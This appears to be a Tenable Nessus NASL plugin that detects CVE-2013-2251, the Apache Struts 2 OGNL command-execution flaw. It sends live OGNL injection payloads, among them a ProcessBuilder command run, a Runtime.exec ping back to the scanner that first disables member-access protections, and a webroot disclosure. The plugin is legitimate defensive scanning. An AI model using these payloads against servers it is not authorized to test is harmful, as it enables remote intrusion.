Apache Struts 2 'action:' Parameter Arbitrary Remote Command Execution

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(68981);
  script_version("1.37");
  script_set_attribute(attribute:"plugin_modification_date", value:"2023/07/17");

  script_cve_id("CVE-2013-2251");
  script_bugtraq_id(61189);
  script_xref(name:"CISA-KNOWN-EXPLOITED", value:"2022/04/15");

  script_name(english:"Apache Struts 2 'action:' Parameter Arbitrary Remote Command Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a web application that uses a Java
framework, which is affected by a remote command execution
vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote web application appears to use Struts 2, a web framework
that utilizes OGNL (Object-Graph Navigation Language) as an expression
language. Due to a flaw in the evaluation of an OGNL expression
prefixed by the 'action:' parameter, a remote, unauthenticated
attacker can exploit this issue to execute arbitrary commands on the
remote web server. An attacker can exploit the issue by sending a
specially crafted HTTP request to the remote web server.

Note that the 'redirect:' and 'redirectAction' parameters are also
reportedly affected by the command execution vulnerability.
Additionally, this version of Struts 2 is also reportedly affected by
an open redirect vulnerability; however, Nessus has not tested for
this additional issue.

Note also that this plugin will only report the first vulnerable
instance of a Struts 2 application.

Finally, note that Apache Archiva versions prior to and equal to
1.3.6 are also affected by this issue as the application utilizes a
vulnerable version of Struts 2.");
  script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/527977/30/0/threaded");
  script_set_attribute(attribute:"see_also", value:"http://cxsecurity.com/issue/WLB-2014010087");
  script_set_attribute(attribute:"see_also", value:"http://struts.apache.org/docs/s2-016.html");
  script_set_attribute(attribute:"solution", value:
"Upgrade to version 2.3.15.1 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2013-2251");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Apache-Struts DefaultActionMapper < 2.3.15.1 RCE Linux");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Apache Struts 2 DefaultActionMapper Prefixes OGNL Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:"CANVAS");

  script_set_attribute(attribute:"vuln_publication_date", value:"2013/07/16");
  script_set_attribute(attribute:"patch_publication_date", value:"2013/07/16");
  script_set_attribute(attribute:"plugin_publication_date", value:"2013/07/19");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:struts");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2013-2023 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl", "webmirror.nasl", "os_fingerprint.nasl");
  script_require_ports("Services/www", 80, 8080);

  exit(0);
}

include("http.inc");
include("url_func.inc");

port = get_http_port(default:8080);
cgis = get_kb_list('www/' + port + '/cgi');

urls = make_list();
# To identify actions that we can test the exploit on we will look
# for files with the .action / .jsp / .do suffix from the KB.
if (!isnull(cgis))
{
  foreach var cgi (cgis)
  {
    match = pregmatch(pattern:"((^.*)(/.+\.act(ion)?)($|\?|;))", string:cgi);
    if (match)
    {
      urls = make_list(urls, match[0]);
      if (!thorough_tests) break;
    }
    match2 = pregmatch(pattern:"(^.*)(/.+\.jsp)$", string:cgi);
    if (!isnull(match2))
    {
      urls = make_list(urls, match2[0]);
      if (!thorough_tests) break;
    }
    match3 = pregmatch(pattern:"(^.*)(/.+\.do)$", string:cgi);
    if (!isnull(match3))
    {
      urls = make_list(urls, match3[0]);
      if (!thorough_tests) break;
    }
    if (cgi =~ "struts2?(-rest)?-showcase")
    {
      urls = make_list(urls, cgi);
      if (!thorough_tests) break;
    }
  }
}
if (thorough_tests)
{
  cgi2 = get_kb_list('www/' + port + '/content/extensions/act*');
  if (!isnull(cgi2)) urls = make_list(urls, cgi2);

  cgi3 = get_kb_list('www/' + port + '/content/extensions/jsp');
  if (!isnull(cgi3)) urls = make_list(urls, cgi3);

  cgi4 = get_kb_list('www/' + port + '/content/extensions/do');
  if (!isnull(cgi4)) urls = make_list(urls, cgi4);
}

# Always check web root
urls = make_list(urls, "/");

# Struts is slow
timeout = get_read_timeout() * 2;
if(timeout < 10)
  timeout = 10;
http_set_read_timeout(timeout);

urls = list_uniq(urls);

# Determine which command to execute on target host
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) cmd = 'ipconfig';
  else cmd = 'id';

  cmds = make_list(cmd);
}
else cmds = make_list('id', 'ipconfig');

vuln = FALSE;

foreach var url (urls)
{
  foreach cmd (cmds)
  {
    vuln_url = url + "?action:%25{(new+java.lang.ProcessBuilder(new" +
      "+java.lang.String[]{'" +cmd+ "'})).start()}";

    res = http_send_recv3(
      method : "GET",
      port   : port,
      item   : vuln_url,
      fetch404     : TRUE,
      exit_on_fail : TRUE
    );

    if (
       res[0] =~ "404 Not Found" &&
       res[2] =~ "\<b\>message\</b\> \<u\>(.*)/java\.lang\." +
         "(UNIX)?Process(Impl)?@(.+)\.jsp\</u\>"
    )
    {
      vuln = TRUE;
      break;
    }
  }
  # Stop after first vulnerable Struts app is found
  if (vuln) break;
}

# Alternate attack that does not rely on 404 Error Page from Tomcat/JBoss
# This attack uses the redirect: Parameter
if (!vuln)
{
  time = unixtime();
  foreach url (urls)
  {
    vuln_url = url +"?redirect:${%23req%3d%23context.get('com.opensymphony" +
      ".xwork2.dispatcher.HttpServletRequest'),%23webroot%3d%23req.get" +
      "Session().getServletContext().getRealPath('/'),%23resp%3d%23context." +
      "get('com.opensymphony.xwork2.dispatcher.HttpServletResponse')." +
      "getWriter(),%23resp.print('At%20" +time+ "%20Nessus%20found%20the" +
      "%20path%20is%20'),%23resp.println(%23webroot),%23resp.flush()," +
      "%23resp.close()}";

    res = http_send_recv3(
      method : "GET",
      port   : port,
      item   : vuln_url,
      exit_on_fail : TRUE
    );

    if (
       (res[0] =~ "200 OK") &&
       (res[2] =~ '^At '+time+' Nessus found the path is ([a-zA-Z]:\\\\|/)(.*)')
    )
    {
      vuln = TRUE;
      break;
    }
    if (vuln) break;
  }
}

# try pingback.
if(!vuln)
{

  scanner_ip = compat::this_host();
  target_ip = get_host_ip();

  ua = get_kb_item("global_settings/http_user_agent");
  if (empty_or_null(ua))
    ua = 'Nessus';

  pat = hexstr(rand_str(length:10));

  if (!empty_or_null(os) && "windows" >< tolower(os))
  {
    ping_cmd = "ping%20-n%203%20-l%20500%20" + scanner_ip;
    filter = "icmp and icmp[0] = 8 and src host " + target_ip + " and greater 500";
  }
  else
  {
    ping_cmd = "ping%20-c%203%20-p" + pat + "%20" + scanner_ip;
    filter = "icmp and icmp[0] = 8 and src host " + target_ip;
  }

  payload_ping = "?redirect:$%7b%23context%5b%27xwork.MethodAccessor.denyMethodExecution" +
    "%27%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28" +
    "%27allowStaticMethodAccess%27%29%2c%23f.setAccessible%28true%29%2c%23f.set%28" +
    "%23_memberAccess%2ctrue%29%[email protected]@toString%28" +
    "@java.lang.Runtime@getRuntime%28%29.exec%28%27" + ping_cmd + 
    "%27%29.getInputStream%28%29%29%7d";

  foreach url (urls)
  {
    soc = open_sock_tcp(port);
    if (!soc) audit(AUDIT_SOCK_FAIL, port);

    attack_url = url + payload_ping;

    req =
      'GET ' + attack_url + ' HTTP/1.1\n' +
      'Host: ' + target_ip + ':' + port + '\n' +
      'User-Agent: ' + ua + '\n' +
      '\n';

    s = send_capture(socket:soc,data:req,pcap_filter:filter);
    icmp = tolower(hexstr(get_icmp_element(icmp:s,element:"data")));
    close(soc);

    if ("windows" >< tolower(os) && !isnull(icmp))
    {
      vuln = TRUE;
      vuln_url = req;
      break;
    }
    else if (pat >< icmp)
    {
      vuln = TRUE;
      vuln_url = req;
      break;
    }
  }
}

# and finally, we try a simple injection of an ognl add.
if(!vuln)
{
  foreach url (urls)
  {  
    payload_ognl_add = "?redirect:%24%7B57550614%2b16044095%7D";
    payload_redirect_verify_regex = "Location: .*73594709";
    
    attack_url = url + payload_ognl_add;

    res = http_send_recv3(
      method       : "GET",
      item         : attack_url,
      port         : port,
      exit_on_fail : TRUE,
      follow_redirect: 0
    );

    if (res[1] =~ payload_redirect_verify_regex)
    {
      vuln = TRUE;
      vuln_url = attack_url;
      break;
    }

    # Stop after first vulnerable Struts app is found
    if (vuln) break;
    }
}

if (!vuln) exit(0, 'No vulnerable applications were detected on the web server listening on port '+port+'.');

security_report_v4(
  port       : port,
  severity   : SECURITY_HOLE,
  generic    : TRUE,
  request    : make_list(build_url(qs:vuln_url, port:port)),
  output     : chomp(res[2])
);